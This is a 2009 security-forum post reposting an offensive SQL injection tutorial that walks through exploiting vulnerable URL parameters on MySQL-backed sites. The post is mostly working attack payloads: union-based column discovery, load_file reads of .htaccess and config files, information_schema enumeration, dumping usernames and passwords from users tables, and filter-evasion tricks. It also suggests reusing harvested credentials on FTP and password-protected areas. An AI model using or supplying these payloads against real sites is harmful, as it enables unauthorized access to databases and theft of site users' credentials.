Waraxe IT Security Portal
Login or Register
December 22, 2024
Menu
Home
Logout
Discussions
Forums
Members List
IRC chat
Tools
Base64 coder
MD5 hash
CRC32 checksum
ROT13 coder
SHA-1 hash
URL-decoder
Sql Char Encoder
Affiliates
y3dips ITsec
Md5 Cracker
User Manuals
AlbumNow
Content
Content
Sections
FAQ
Top
Info
Feedback
Recommend Us
Search
Journal
Your Account
User Info
Welcome, Anonymous
Nickname
Password
(Register)

Membership:
Latest: MichaelSnaRe
New Today: 0
New Yesterday: 0
Overall: 9144

People Online:
Visitors: 130
Members: 0
Total: 130
Full disclosure
CyberDanube Security Research 20241219-0 | Authenticated Remote Code Execution in Ewon Flexy 205
Stored XSS with Filter Bypass - blogenginev3.3.8
[SYSS-2024-085]: Broadcom CA Client Automation - Improper Privilege Management (CWE-269)
[KIS-2024-07] GFI Kerio Control <= 9.4.5 Multiple HTTP Response Splitting Vulnerabilities
RansomLordNG - anti-ransomware exploit tool
APPLE-SA-12-11-2024-9 Safari 18.2
APPLE-SA-12-11-2024-8 visionOS 2.2
APPLE-SA-12-11-2024-7 tvOS 18.2
APPLE-SA-12-11-2024-6 watchOS 11.2
APPLE-SA-12-11-2024-5 macOS Ventura 13.7.2
APPLE-SA-12-11-2024-4 macOS Sonoma 14.7.2
APPLE-SA-12-11-2024-3 macOS Sequoia 15.2
APPLE-SA-12-11-2024-2 iPadOS 17.7.3
APPLE-SA-12-11-2024-1 iOS 18.2 and iPadOS 18.2
SEC Consult SA-20241211-0 :: Reflected Cross-Site Scripting in Numerix License Server Administration System Login
Log in Register Forum FAQ Memberlist Search
IT Security and Insecurity Portal

www.waraxe.us Forum Index -> Sql injection -> Basic SQL injection tut by end3r
Post new topicReply to topic View previous topic :: View next topic
Basic SQL injection tut by end3r
PostPosted: Sun Jun 28, 2009 5:44 pm Reply with quote
capt
Advanced user
Advanced user
Joined: Nov 04, 2008
Posts: 232




Code:

...::SQL Injection Attacks::...



::What is SQL Injection?::



-SQL Injection is defined by http://www.h-spot.net/threat_glossary.htm as: "The act of entering malformed or unexpected data (perhaps into a front-end web form or front-end application for example) so that the back-end SQL database running behind the website or application executes SQL commands that the programmer never intended to permit, possibly allowing an intruder to break into or damage the database."



::Background Information::



-It is considered the most common web vulnerability today

-It's a flaw in the web application--not the db, or the server

-Can be injected into: Cookies, Forms, and URL parameters



::Lesson Facts::



-This lesson uses MySQL syntax for all examples.

-This lesson does not provide reasons for why sites are vulnerable, simply how to exploit them

-This lesson only provides sql injection examples for url parameters such it is such a large subject on it's own

-This lesson gives small examples of filter evasion techniques



::The Lesson::



-Some commands you will need to know:

'union all select': combines two or more select statements into one query and returns all rows

'order by': used to sort rows after a select statement is executed

'load_file()': loads a local file from the site or server examples would be .htaccess or /etc/passwd

'char()': used to change decimal ascii to strings, can be used for filter evasion--in sql injections, used in conjunction with load_file

'concat()': combines more than one column into a single column, enabling more columns to be selected than the number that are showing on the page (You will understand better later)

'--': a comment

'/*': another type of comment



-Injection SQL Queries into URL Parameters

So you've found a site: 'http://www.site.com/index.php?id=5', and want to test if it's vulnerable to SQL Injections.



1) Begin by checking if you can execute some of your own queries, so try:

/index.php?id=5 and 1=0--

If after executing the above statement, nothing has happened and the page has remained the same, you can try:

/index.php?id='

If neither of those work, for the purposes of this tutorial move on to another site.

Otherwise, if a blank page showed up you just might be in luck!



2) Now we want to find how many columns and which ones are showing when the select statement is executed so we use:

/index.php?id=5 order by 20

If you get an error decrement the number 20, if there is no error continue incrementing until you get one and then the number just before your error is the number of columns in the table you're selecting from.

Example:

/index.php?id=5 order by 15 <--returns no error, but /index.php?id=5 order by 16 <--returns an error, then we know that there are 15 columns in our select statement.



3) The next statement will null the id=5 so the script only executes our commands and not it's own, and show us which columns we can extract data from:

/index.php?id=null union all select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15-- <--The comment comments out anything the script would append to the end of the statement so that only our statement is looked at.

So now look at the page and if you see any of the numbers you just typed in, you know those columns are showing, and we can gather information from them. For this example let's pretend columns 5, 7, and 9 are showing.



4) Now we can begin gathering information!

/index.php?id=null union all select 1,2,3,4,user(),6,database(),8,version(),10,11,12,13,14,15--

As you can see we selected values from the showing columns, what if we want to clean this up a bit, and put all of those selected values in one column? This is where concat() comes in:

/index.php?id=null union all select 1,2,3,4,concat(user(),char(58),database(),char(58),version()),6,7,8,9,10,11,12,13,14,15--



Now look at your page, user(), database(), and version() are all in one place, and are separated by a colon this demonstrates the use of concat() and char().



The user() will usually give something like username@localhost, but you may get lucky and get username@ipaddresshere, in this instance you can try to brute force the FTP login. The version would help you look up exploits for that version of the database() in use--but only if you're a skiddy!



5) Before we can check if we have load_file perms, we must get an FPD (Full Path Disclosure) so we know exactly where the files are located that we're trying to open. Below are some methods to get an FPD:

-/index.php?id[]=

-You could attempt to Google the full path of the site by trying something like "/home/sitename" and hoping that you'll find something in Google

-"Session Cookie Trick" <--Thanks to haZed at enigmagroup.org. In the url type: 'java script:void(document.cookie="PHPSESSID=");' This will give a session_start() error and an FPD.



Now we will attempt to use load_file(), this example will load the .htaccess file, make sure you know the file you're trying to load actually exists or you may miss out on your opportunity to realize what great perms you have:

/index.php?id=null union all select 1,2,3,4,load_file(char(47, 104, 111, 109, 101, 47, 115, 105, 116, 101, 110, 97, 109, 101, 47, 100, 105, 114, 47, 97, 108, 108, 111, 102, 116, 104, 105, 115, 105, 115, 102, 114, 111, 109, 111, 117, 114, 102, 112, 100, 47, 46, 104, 116, 97, 99, 99, 101, 115, 115)),6,7,8,9,10,11,12,13,14,15--

If you see the .htaccess file, congrats! You have load_file() perms. Now try to load include files such as config.inc.php for database usernames and passwords, hoping that the admin is dumb enough to use the same username and password for ftp. Another idea would be to load .htpasswd after finding it's location from .htaccess and then logging in to all the password-protected areas that you want to on the site.

If you don't see the .htaccess file, I will include one more way to extract info by using sql injections.



-Using information_schema.tables:

So you don't have load_file() perms? No problem, we can check for information_schema.tables.



1) 'table_name' is the name of a table that exists in all information_schema tables on every site:

/index.php?id=null union all select 1,2,3,4,table_name,6,7,8,9,10,11,12,13,14,15 from information_schema.tables--

If the site is showing information_schema.tables, the words 'CHARACTER_SETS' will appear in column 5. What can I do with CHARACTER_SETS you might be wondering. Well, nothing that I'm going to show you, but you can find out other tables that exist on the site. The information_schema.tables contains a list of every table in the database on the site, so you can pull up the table username and maybe password if they exist...Then what do you think the information_schema.columns hold? That's right, a list of all the columns on the site. So rather than using just the above injection you could try any of the following:

-/index.php?id=null union all select 1,2,3,4,distinct table_name,6,7,8,9,10,11,12,13,14,15 from information_schema.tables-- <--Selects all 'distinct' table names from information_schema.tables, meaning it will print out all tables at one time

-/index.php?id=null union all select 1,2,3,4,concat(table_name,char(58),column_name),6,7,8,9,10,11,12,13,14,15 from information_schema.columns-- <--Selects all tables and columns that go with each table seperated by a colon



2) If none of the above queries give you anything except for 'CHARACTER_SETS' you will have to use enumeration to determine the names of the other tables:

/index.php?id=null union all select 1,2,3,4,table_name,6,7,8,9,10,11,12,13,14,15 from information_schema.tables where table_name != "CHARACTER_SETS"--

Then it would show the next table in line so you would modify the above to say:

where table_name != "CHARACTER_SETS" and table_name != "nexttableinline"--

Until no more tables show, then you can do the same for the columns.



3) Now after you've executed one or all of those statements, let's say you found the table 'users' and it has the columns 'username', 'password', 'id', and 'email'. To extract that info from the table, use:

/index.php?id=null union all select 1,2,3,4,concat(username, char(58), password, char(58), id, char(58), email),6,7,8,9,10,11,12,13,14,15 from users--

And you'll get the info you requested, of course you can modify that as you like such as:

-/index.php?id=null union all select 1,2,3,4,username,6,password,8,9,10,11,12,13,14,15 from users where id=1--

-/index.php?id=null union all select 1,2,3,4,concat(password, char(58), id, char(58), email),6,7,8,9,10,11,12,13,14,15 from users where username='Admin' <--Replacing Admin with the top user's name such as admin or owner etc..



::Final Tips::

With any luck, one of these methods has worked for you and you were able to accomplish your goal. However, if none of them worked, you can start guessing common table names and then columns:

/index.php?id=null union all select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15 from users-- <--If the page shows up, you know the table exists and you can start guessing column names:

/index.php?id=null union all select 1,2,3,4,username,6,7,8,9,10,11,12,13,14,15 from users-- <--If you get a username, good job you guessed a correct table and column, otherwise keep guessing.



::Filter Evasion Techniques::

-You can URL Encode characters, hex encode them, use any encoding you like as long as your browser can interpret it

-Rather then using 'union all select' try 'UniON aLL SeLECt' to see if the filter checks case

-Try using the plus sign to split words up: ' 'uni'+'on'+' '+'all'+' '+'Se'+'lect'

-Combine the methods mentioned above using different cases, the plus operator, and not just text but encoding as well

-Be creative



::Conclusion::

Thank you for reading my article, please comment if you found it interesting, found it helpful, or even hated it.

I'd like to thank Rebirth, killerguppy101, & Cr1t1cal for helping me get interested in and learn more about SQL Injections.



::Sources::

http://www.enigmagroup.org/forums/index.php/topic,2372.0.html

http://www.owasp.org/images/7/74/Advanced_SQL_Injection.ppt



Thanks for reading,

end3r
View user's profile Send private message Visit poster's website MSN Messenger
Basic SQL injection tut by end3r
www.waraxe.us Forum Index -> Sql injection
You cannot post new topics in this forum
You cannot reply to topics in this forum
You cannot edit your posts in this forum
You cannot delete your posts in this forum
You cannot vote in polls in this forum
All times are GMT
Page 1 of 1

Post new topicReply to topic


Powered by phpBB © 2001-2008 phpBB Group



Space Raider game for Android, free download - Space Raider gameplay video - Zone Raider mobile games
All logos and trademarks in this site are property of their respective owner. The comments and posts are property of their posters, all the rest (c) 2004-2024 Janek Vind "waraxe"
Page Generation: 0.044 Seconds